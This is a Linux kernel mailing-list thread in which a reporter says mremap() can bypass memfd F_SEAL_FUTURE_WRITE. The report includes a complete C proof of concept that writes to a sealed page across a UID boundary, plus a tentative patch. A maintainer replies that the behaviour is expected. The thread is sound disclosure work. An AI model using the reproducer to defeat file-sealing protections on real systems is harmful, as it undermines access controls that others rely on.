* mm/mremap: F_SEAL_FUTURE_WRITE can be bypassed via mremap() VMA expansion/duplication
@ 2026-11-07 3:07 Junyoung Jang
2026-11-07 13:17 ` David Hildenbrand (Arm)
0 siblings, 1 reply; 4+ messages in thread
From: Junyoung Jang @ 2026-11-07 3:07 UTC (permalink / raw)
To: Andrew Morton, Liam R . Howlett, Lorenzo Stoakes, Hugh Dickins,
David Hildenbrand
Cc: Vlastimil Babka, Jann Horn, Pedro Falcato, Baolin Wang, linux-mm,
linux-kernel, Junyoung Jang
Hello,
I found a reproducible F_SEAL_FUTURE_WRITE seal-policy bypass. A process
holding a one-page shared writable memfd mapping created before the seal can
use mremap() after the seal to gain writable access to additional file pages.
In the accompanying two-UID reproducer, the second page belongs to a memfd
created by a different unprivileged user. While a new writable mmap() and
pwrite() to that second page both fail with -EPERM, the mremap() path
succeeds and modifies the page's contents.
Affected tree tested:
- Linux 7.4.0-rc1-gd48723711bae, built directly from upstream commit
d48723711bae9b8cdc56719c448ba42fef28cbee using x86_64_defconfig.
- A second image built from the same commit with the proposed mm/mremap.c
diff, reported by uname as 7.4.0-rc1-gd48723711bae-dirty.
- Each before/after pair was booted in QEMU with the same statically
linked C PoC.
Root cause:
The missing seal check is in mm/mremap.c:check_prep_vma() (lines 1808-1872
of the tested commit). mmap() calls memfd_check_seals_mmap() at
mm/mmap.c:499; for F_SEAL_FUTURE_WRITE, mm/memfd.c:384-385 rejects a
new shared writable mapping with EPERM. check_prep_vma() has no equivalent
check before it permits a larger mapping.
For the PoC's old_len=0 call, this condition at mm/mremap.c:1819 only
rejects duplication of a non-shared VMA:
if (!old_len && !vma_test_any(vma, VMA_SHARED_BIT, VMA_MAYSHARE_BIT)) {
It is false for the PoC's MAP_SHARED VMA. check_prep_vma() then checks
VMA bounds and expansion limits and returns 0 at mm/mremap.c:1872 without
checking vma->vm_file for write seals. For this zero-length call,
expand_vma() moves the VMA and reaches copy_vma_and_data(), which calls
copy_vma() with the larger new_len (mm/mremap.c:1293-1295):
new_vma = copy_vma(&vma, vrm->new_addr, vrm->new_len, new_pgoff,
new_anon_pgoff, &pmc.need_rmap_locks,
vrm->flags & MREMAP_DONTUNMAP);
copy_vma() can duplicate the original VMA and extend its range
(mm/vma.c:2052-2055), retaining VM_WRITE and VM_MAYWRITE. The newly
covered second memfd page is writable despite F_SEAL_FUTURE_WRITE.
Ordinary expansion with old_len=one page also succeeded on the unpatched
kernel. A read-only shared mapping with VM_MAYWRITE can likewise be
expanded and then changed to PROT_WRITE with mprotect().
Impact:
This allows a process to write to file pages outside its pre-seal mapping
across a UID boundary, affecting scenarios where a memfd owner grants
limited writable access to a specific range before sealing and relies on
F_SEAL_FUTURE_WRITE to prevent future writable mappings of other pages.
Reproducer summary:
1. Start as root only to set up two distinct unprivileged UIDs (10002 for
the owner, 10001 for the writer); both drop all capabilities.
2. UID 10002 creates a two-page memfd and initializes page two to 'A'.
3. UID 10002 passes the fd to UID 10001 via SCM_RIGHTS.
4. UID 10001 maps only page one with MAP_SHARED and PROT_WRITE.
5. UID 10002 adds F_SEAL_FUTURE_WRITE.
6. UID 10001 confirms a fresh writable mmap() of page two and pwrite() to it
both fail with -EPERM.
7. UID 10001 calls mremap(old_addr, 0, 2 * page_size, MREMAP_MAYMOVE),
writes 'Z' through the expanded mapping, and UID 10002 reads 'Z' back
from the second file page.
Build and run:
$ cc -O0 -g -Wall -Wextra -Werror -static memfd_future_write_mremap_poc.c -o poc
$ sudo ./poc
writer uid=10001; mmap=EPERM; pwrite=EPERM; mremap write=Z; result=63
owner uid=10002; file page 2=Z; size=8192; result=255
Suggested fix direction:
I believe mremap() needs to check the memfd write seal before duplicating
(old_len=0) or expanding (new_len > old_len) a shared VMA that has
VM_MAYWRITE.
I tested the rough diff below in check_prep_vma() on the same commit and
confirmed that it blocks the reproducer (mremap fails with -EPERM). However,
I am sending this as a bug report rather than a formal [PATCH] because I am
unsure about potential side effects:
1. Because a PROT_READ shared mapping with VM_MAYWRITE could be expanded and
later made writable via mprotect(), the diff temporarily sets VMA_WRITE_BIT
on a local flags copy to force memfd_check_seals_mmap() to return -EPERM.
However, this rejects legitimate read-only mremap() expansions outright,
whereas mmap() would normally allow a read-only mapping and simply clear
VM_MAYWRITE.
2. I am not certain whether check_prep_vma() is the right place regarding
locking/synchronization against a concurrent F_ADD_SEALS call.
I would appreciate your guidance on the proper way to handle this, or feel
free to take it from here:
diff --git a/mm/mremap.c b/mm/mremap.c
index 70b7264aa..6ed390ed4 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -14,6 +14,7 @@
#include <linux/shm.h>
#include <linux/ksm.h>
#include <linux/mman.h>
+#include <linux/memfd.h>
#include <linux/swap.h>
#include <linux/capability.h>
#include <linux/fs.h>
@@ -1807,6 +1808,17 @@ static int check_prep_vma(struct vma_remap_struct *vrm)
old_len = vrm->old_len;
new_len = vrm->new_len;
+ if (new_len > old_len && vma->vm_file &&
+ vma_test_all(vma, VMA_SHARED_BIT, VMA_MAYWRITE_BIT)) {
+ vma_flags_t flags = vma->flags;
+ int err;
+
+ /* A larger VMA could become writable via mprotect(). */
+ vma_flags_set(&flags, VMA_WRITE_BIT);
+ err = memfd_check_seals_mmap(vma->vm_file, &flags);
+ if (err)
+ return err;
+ }
/*
* !old_len is a special case where an attempt is made to 'duplicate'
Reproducer code (memfd_future_write_mremap_poc.c):
// SPDX-License-Identifier: GPL-2.0
/*
* Check whether a mapping created before F_SEAL_FUTURE_WRITE can be
* duplicated over a second page by a different UID after the seal.
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <linux/capability.h>
#include <linux/memfd.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define OWNER_UID 10002
#define WRITER_UID 10001
static int drop_to(uid_t uid)
{
struct __user_cap_header_struct hdr = {
.version = _LINUX_CAPABILITY_VERSION_3, .pid = 0,
};
struct __user_cap_data_struct caps[2] = { { 0 }, { 0 } };
if (setgroups(0, NULL) || setresgid(uid, uid, uid) ||
setresuid(uid, uid, uid))
return -1;
if (getuid() != uid || geteuid() != uid ||
syscall(SYS_capget, &hdr, caps) ||
caps[0].effective || caps[1].effective)
return -1;
return 0;
}
static int send_fd(int sock, int fd)
{
char data = 'F';
char control[CMSG_SPACE(sizeof(fd))] = {};
struct iovec iov = { .iov_base = &data, .iov_len = 1 };
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = control,
.msg_controllen = sizeof(control),
};
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(fd));
memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd));
return sendmsg(sock, &msg, 0) == 1 ? 0 : -1;
}
static int recv_fd(int sock)
{
char data;
char control[CMSG_SPACE(sizeof(int))] = {};
struct iovec iov = { .iov_base = &data, .iov_len = 1 };
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = control,
.msg_controllen = sizeof(control),
};
struct cmsghdr *cmsg;
int fd;
if (recvmsg(sock, &msg, 0) != 1 || data != 'F')
return -1;
cmsg = CMSG_FIRSTHDR(&msg);
if (!cmsg || cmsg->cmsg_level != SOL_SOCKET ||
cmsg->cmsg_type != SCM_RIGHTS ||
cmsg->cmsg_len != CMSG_LEN(sizeof(fd)))
return -1;
memcpy(&fd, CMSG_DATA(cmsg), sizeof(fd));
return fd;
}
static int writer(int sock, size_t page)
{
char *old, *expanded;
char event;
int fd;
unsigned int result = 0;
if (drop_to(WRITER_UID) || getuid() != WRITER_UID)
return 1;
result |= 1;
fd = recv_fd(sock);
if (fd < 0)
return 2;
old = mmap(NULL, page, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (old == MAP_FAILED)
return 3;
result |= 2;
if (write(sock, "R", 1) != 1 || read(sock, &event, 1) != 1 ||
event != 'S')
return 4;
result |= 4;
void *fresh = mmap(NULL, page, PROT_READ | PROT_WRITE, MAP_SHARED,
fd, page);
if (fresh != MAP_FAILED) {
munmap(fresh, page);
fprintf(stderr, "writer: fresh writable mmap unexpectedly succeeded\n");
return 5;
}
if (errno != EPERM) {
fprintf(stderr, "writer: fresh writable mmap errno=%d\n", errno);
return 6;
}
result |= 8;
errno = 0;
ssize_t written = pwrite(fd, "X", 1, page);
if (written != -1 || errno != EPERM) {
fprintf(stderr, "writer: pwrite returned %zd errno=%d\n",
written, errno);
return 7;
}
result |= 16;
expanded = mremap(old, 0, 2 * page, MREMAP_MAYMOVE);
if (expanded == MAP_FAILED) {
fprintf(stderr, "writer: mremap errno=%d\n", errno);
return 8;
}
expanded[page] = 'Z';
result |= 32;
if (write(sock, "Z", 1) != 1)
return 9;
printf("writer uid=%u; mmap=EPERM; pwrite=EPERM; mremap write=Z; result=%u\n",
getuid(), result);
fflush(stdout);
munmap(expanded, 2 * page);
munmap(old, page);
close(fd);
return result == 63 ? 0 : 10;
}
int main(void)
{
int pair[2], fd, status;
char event, byte = 0;
struct stat st;
pid_t pid;
size_t page = sysconf(_SC_PAGESIZE);
unsigned int result = 0;
alarm(10);
if (geteuid() != 0)
return 77;
if (socketpair(AF_UNIX, SOCK_SEQPACKET, 0, pair))
return 1;
pid = fork();
if (pid < 0)
return 2;
if (!pid) {
close(pair[0]);
_exit(writer(pair[1], page));
}
close(pair[1]);
if (drop_to(OWNER_UID) || getuid() != OWNER_UID)
return 3;
result |= 1;
fd = memfd_create("seal-cross-uid", MFD_ALLOW_SEALING);
if (fd < 0 || ftruncate(fd, 2 * page) ||
pwrite(fd, "A", 1, page) != 1)
return 4;
result |= 2;
if (send_fd(pair[0], fd) || read(pair[0], &event, 1) != 1 ||
event != 'R')
return 5;
result |= 4;
if (fcntl(fd, F_ADD_SEALS, F_SEAL_FUTURE_WRITE))
return 6;
result |= 8;
if (write(pair[0], "S", 1) != 1)
return 7;
if (read(pair[0], &event, 1) != 1 || event != 'Z') {
if (waitpid(pid, &status, 0) == pid && WIFEXITED(status))
fprintf(stderr, "owner: writer exited %d before Z\n",
WEXITSTATUS(status));
return 7;
}
result |= 16;
if (pread(fd, &byte, 1, page) != 1 || byte != 'Z')
return 8;
result |= 32;
if (fstat(fd, &st) || st.st_size != (off_t)(2 * page))
return 9;
result |= 64;
if (waitpid(pid, &status, 0) != pid ||
!WIFEXITED(status) || WEXITSTATUS(status))
return 10;
result |= 128;
printf("owner uid=%u; file page 2=%c; size=%lld; result=%u\n",
getuid(), byte, (long long)st.st_size, result);
fflush(stdout);
return result == 255 ? 0 : 11;
}
Best regards,
Junyoung Jang <graypanda.inzag@gmail.com>
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: mm/mremap: F_SEAL_FUTURE_WRITE can be bypassed via mremap() VMA expansion/duplication
2026-11-07 3:07 mm/mremap: F_SEAL_FUTURE_WRITE can be bypassed via mremap() VMA expansion/duplication Junyoung Jang
@ 2026-11-07 13:17 ` David Hildenbrand (Arm)
2026-11-07 15:19 ` Junyoung Jang
0 siblings, 1 reply; 4+ messages in thread
From: David Hildenbrand (Arm) @ 2026-11-07 13:17 UTC (permalink / raw)
To: Junyoung Jang, Andrew Morton, Liam R . Howlett, Lorenzo Stoakes,
Hugh Dickins
Cc: Vlastimil Babka, Jann Horn, Pedro Falcato, Baolin Wang, linux-mm,
linux-kernel
On 11/7/26 04:07, Junyoung Jang wrote:
> Hello,
Hi,
>
> I found a reproducible F_SEAL_FUTURE_WRITE seal-policy bypass. A process
> holding a one-page shared writable memfd mapping created before the seal can
> use mremap() after the seal to gain writable access to additional file pages.
F_SEAL_FUTURE_WRITE is not really range-aware. What makes you believe that it
would be?
I'd say it's expected that if someone has write access to the memfd, it has
write access to the whole thing, not just some subset that was obtained through
the initial mmap.
Any documentation that made you believe that it works that way?
--
Cheers,
David
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: mm/mremap: F_SEAL_FUTURE_WRITE can be bypassed via mremap() VMA expansion/duplication
2026-11-07 13:17 ` David Hildenbrand (Arm)
@ 2026-11-07 15:19 ` Junyoung Jang
2026-11-07 18:16 ` David Hildenbrand (Arm)
0 siblings, 1 reply; 4+ messages in thread
From: Junyoung Jang @ 2026-11-07 15:19 UTC (permalink / raw)
To: David Hildenbrand (Arm)
Cc: Andrew Morton, Liam R . Howlett, Lorenzo Stoakes, Hugh Dickins,
Vlastimil Babka, Jann Horn, Pedro Falcato, Baolin Wang, linux-mm,
linux-kernel
On 11/7/26 04:07, ... wrote:
> On 11/7/26 04:07, Junyoung Jang wrote:
> > Hello,
>
> Hi,
>
> >
> > I found a reproducible F_SEAL_FUTURE_WRITE seal-policy bypass. A process
> > holding a one-page shared writable memfd mapping created before the seal can
> > use mremap() after the seal to gain writable access to additional file pages.
>
> F_SEAL_FUTURE_WRITE is not really range-aware. What makes you believe that it
> would be?
>
> I'd say it's expected that if someone has write access to the memfd, it has
> write access to the whole thing, not just some subset that was obtained through
> the initial mmap.
>
> Any documentation that made you believe that it works that way?
Hi,
Thank you for the quick feedback.
My understanding came from the following documentation and commit history:
1. Linux man-pages: F_ADD_SEALS(2const) / fcntl(2) (under "File Sealing" ->
"F_SEAL_FUTURE_WRITE"):
"The effect of this seal is similar to F_SEAL_WRITE, but the contents
of the file can still be modified via shared writable mappings that
were created prior to the seal being set. Any attempt to create a new
writable mapping on the file via mmap(2) will fail with EPERM.
Similarly, an attempt to write to the file via write(2) will fail
with EPERM."
(Reference: https://man7.org/linux/man-pages/man2/F_ADD_SEALS.2const.html)
2. The original commit introducing F_SEAL_FUTURE_WRITE, commit ab3948f58ff8
("mm/memfd: add an F_SEAL_FUTURE_WRITE seal to memfd"), which states
that the seal:
"...prevents any future mmap and write syscalls from succeeding while
keeping the existing mmap active."
(Reference: https://git.kernel.org/linus/ab3948f58ff8)
3. Linux man-pages: mremap(2) (man2/mremap.2, regarding old_size == 0)
and the comment in mm/mremap.c:check_prep_vma():
mremap(2) documents that when old_size is 0 on a shareable mapping,
it behaves by "creating a new mapping". Similarly, check_prep_vma()
notes that "!old_len is a special case where an attempt is made to
'duplicate' the existing mapping".
(Reference: https://man7.org/linux/man-pages/man2/mremap.2.html)
Combining these references, I interpreted the intended invariant to be that
post-seal writes are restricted to the pre-existing mapping itself, rather
than granting the process blanket write access to the entire memfd.
In particular, two behaviors seemed inconsistent with the idea that the
process simply has whole-file write access:
- Even when holding a pre-seal writable mapping on page 1, the same process
cannot call pwrite(2) or a fresh mmap(2) with PROT_WRITE on page 2 (both
fail with -EPERM).
- Calling mremap(2) with old_len=0 creates a brand new VMA covering page 2,
which appears to bypass the restriction against creating a new writable
mapping after the seal.
However, if the intended design in mm is strictly an mmap()-time check—where
any pre-existing VM_MAYWRITE VMA implicitly retains the right to be
duplicated or expanded over unmapped file ranges via mremap(2)—then I
understand why this is considered expected behavior. If that is the case,
perhaps clarifying this in the F_ADD_SEALS(2const) man page would be helpful.
Best regards,
Junyoung Jang <graypanda.inzag@gmail.com>
On Sat, Nov 7, 2026 at 10:18 PM David Hildenbrand (Arm)
<david@kernel.org> wrote:
>
> On 11/7/26 04:07, Junyoung Jang wrote:
> > Hello,
>
> Hi,
>
> >
> > I found a reproducible F_SEAL_FUTURE_WRITE seal-policy bypass. A process
> > holding a one-page shared writable memfd mapping created before the seal can
> > use mremap() after the seal to gain writable access to additional file pages.
>
> F_SEAL_FUTURE_WRITE is not really range-aware. What makes you believe that it
> would be?
>
> I'd say it's expected that if someone has write access to the memfd, it has
> write access to the whole thing, not just some subset that was obtained through
> the initial mmap.
>
> Any documentation that made you believe that it works that way?
>
> --
> Cheers,
>
> David
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: mm/mremap: F_SEAL_FUTURE_WRITE can be bypassed via mremap() VMA expansion/duplication
2026-11-07 15:19 ` Junyoung Jang
@ 2026-11-07 18:16 ` David Hildenbrand (Arm)
0 siblings, 0 replies; 4+ messages in thread
From: David Hildenbrand (Arm) @ 2026-11-07 18:16 UTC (permalink / raw)
To: Junyoung Jang, Lorenzo Stoakes
Cc: Andrew Morton, Liam R . Howlett, Hugh Dickins, Vlastimil Babka,
Jann Horn, Pedro Falcato, Baolin Wang, linux-mm, linux-kernel
On 11/7/26 16:19, Junyoung Jang wrote:
> On 11/7/26 04:07, ... wrote:
>> On 11/7/26 04:07, Junyoung Jang wrote:
>>> Hello,
>>
>> Hi,
>>
>>>
>>> I found a reproducible F_SEAL_FUTURE_WRITE seal-policy bypass. A process
>>> holding a one-page shared writable memfd mapping created before the seal can
>>> use mremap() after the seal to gain writable access to additional file pages.
>>
>> F_SEAL_FUTURE_WRITE is not really range-aware. What makes you believe that it
>> would be?
>>
>> I'd say it's expected that if someone has write access to the memfd, it has
>> write access to the whole thing, not just some subset that was obtained through
>> the initial mmap.
>>
>> Any documentation that made you believe that it works that way?
>
> Hi,
Hi :)
>
> Thank you for the quick feedback.
>
> My understanding came from the following documentation and commit history:
>
> 1. Linux man-pages: F_ADD_SEALS(2const) / fcntl(2) (under "File Sealing" ->
> "F_SEAL_FUTURE_WRITE"):
>
> "The effect of this seal is similar to F_SEAL_WRITE, but the contents
> of the file can still be modified via shared writable mappings that
> were created prior to the seal being set. Any attempt to create a new
> writable mapping on the file via mmap(2) will fail with EPERM.
> Similarly, an attempt to write to the file via write(2) will fail
> with EPERM."
Note that "mapping" here means "file mapping" not "folio/page mapping".
>
> (Reference: https://man7.org/linux/man-pages/man2/F_ADD_SEALS.2const.html)
>
> 2. The original commit introducing F_SEAL_FUTURE_WRITE, commit ab3948f58ff8
> ("mm/memfd: add an F_SEAL_FUTURE_WRITE seal to memfd"), which states
> that the seal:
>
> "...prevents any future mmap and write syscalls from succeeding while
> keeping the existing mmap active."
Right. The thing is that somebody that didn't have write access to the file
before (through an existing mmap()) won't be able to gain write access (through
a new mmap/write) later.
Expanding mmap() or mremap() modify an *existing* mapping, they don't create a
new one. I think we don't guarantee that expanding mmap works, but mremap() must
work.
>
> (Reference: https://git.kernel.org/linus/ab3948f58ff8)
>
> 3. Linux man-pages: mremap(2) (man2/mremap.2, regarding old_size == 0)
> and the comment in mm/mremap.c:check_prep_vma():
>
> mremap(2) documents that when old_size is 0 on a shareable mapping,
> it behaves by "creating a new mapping". Similarly, check_prep_vma()
> notes that "!old_len is a special case where an attempt is made to
> 'duplicate' the existing mapping".
Right, the relevant part here is:
old = mmap(NULL, page, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
and later (after sealing):
expanded = mremap(old, 0, 2 * page, MREMAP_MAYMOVE);
With your reproducer:
$ sudo ./memfd_future_write_mremap_poc
writer uid=10001; mmap=EPERM; pwrite=EPERM; mremap write=Z; result=63
owner uid=10002; file page 2=Z; size=8192; result=255
Assuming I specify instead
expanded = mremap(old, page, 2 * page, MREMAP_MAYMOVE);$
$ sudo ./memfd_future_write_mremap_poc
writer uid=10001; mmap=EPERM; pwrite=EPERM; mremap write=Z; result=63
owner uid=10002; file page 2=Z; size=8192; result=255
So same result. What am I missing?
>
> (Reference: https://man7.org/linux/man-pages/man2/mremap.2.html)
> > Combining these references, I interpreted the intended invariant to be that
> post-seal writes are restricted to the pre-existing mapping itself, rather
> than granting the process blanket write access to the entire memfd.
Again, mapping talks about "file mapping", not "page/folio page-table mapping".
>
> In particular, two behaviors seemed inconsistent with the idea that the
> process simply has whole-file write access:
>
> - Even when holding a pre-seal writable mapping on page 1, the same process
> cannot call pwrite(2) or a fresh mmap(2) with PROT_WRITE on page 2 (both
> fail with -EPERM).
Right, but the main challenge here is rather figuring out whether the process
already had access. We'd have to scan existing VMAs which is just unwarranted
complexity for something nobody really needs ;)
> - Calling mremap(2) with old_len=0 creates a brand new VMA covering page 2,
> which appears to bypass the restriction against creating a new writable
> mapping after the seal.
>
> However, if the intended design in mm is strictly an mmap()-time check—where
> any pre-existing VM_MAYWRITE VMA implicitly retains the right to be
> duplicated or expanded over unmapped file ranges via mremap(2)—then I
> understand why this is considered expected behavior. If that is the case,
> perhaps clarifying this in the F_ADD_SEALS(2const) man page would be helpful.
Correct me if I'm wrong, the only confusion is about the mremap() doc saying
"old_len=0 creates a brand new VMA covering page 2".
And you seem to assume that "new VMA" implies "must be rejected", whereby we
already have a writable VMA there and there is not really a reason to reject it.
--
Cheers,
David
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-11-07 18:16 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-11-07 3:07 mm/mremap: F_SEAL_FUTURE_WRITE can be bypassed via mremap() VMA expansion/duplication Junyoung Jang
2026-11-07 13:17 ` David Hildenbrand (Arm)
2026-11-07 15:19 ` Junyoung Jang
2026-11-07 18:16 ` David Hildenbrand (Arm)
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®